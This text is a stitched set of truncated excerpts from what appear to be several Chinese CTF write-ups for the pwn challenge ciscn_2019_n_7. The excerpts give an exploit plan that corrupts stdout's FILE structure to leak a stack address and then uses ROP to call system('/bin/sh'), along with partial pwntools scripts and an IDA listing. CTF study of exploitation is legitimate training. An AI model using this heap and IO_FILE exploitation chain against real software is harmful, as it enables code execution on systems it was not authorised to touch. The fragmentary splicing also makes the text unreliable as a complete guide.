ciscn_2019_n_7# 解题思路# 利用溢出修改指针的洞,将指针修改到stdout结构体上方,修改flag为0xfbad1800,然后修改IO_write_base为__environ地址,IO_write_ptr为__environ + 8地址,泄露栈地址 劫持__libc_start_main栈帧的retaddr,使用rop执行system("/bin/sh") 这里用pwncli来写exp,只图高效,快捷 exp# #...
frompwn import * #p = process('./ciscn_2019_n_7') p = remote('node4.buuoj.cn',25004) libc = ELF('./libc-2.23.so') def lounch_gdb(): context.terminal = ['xfce4-terminal','-x','sh','-c'] gdb.attach(proc.pidof(p)[0]) def add(size,name): p.sendlineafter('choice->...
elf = ELF("./ciscn_2019_n_7") def dbg(): gdb.attach(p) pause() def command(id): ru("-> \n") sl(str(id)) def add(article_len,author_name): command(1) ru('Input string Length: \n') sl(str(article_len)) ru('Author name:\n') s(author_name) def ...
def add_page(p, size, name): p.sendlineafter("Your choice-> \n","1") p.sendlineafter("Length: \n", str(size)) p.sendafter("name:\n", name) p.recvline() def edit_page(p, name, content): p.sendlineafter("Your choice-> \n","2") p.recvline() p.send(name) p.sendafte...
lzx@ubuntu16x64:~ / pwn / heap / IO_FILE / ciscn_2019_n_7$ . / ciscn_2019_n_7 1.add page 2.edit page 3.show page 4.exit Your choice - > Alarm clock ida分析 main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21...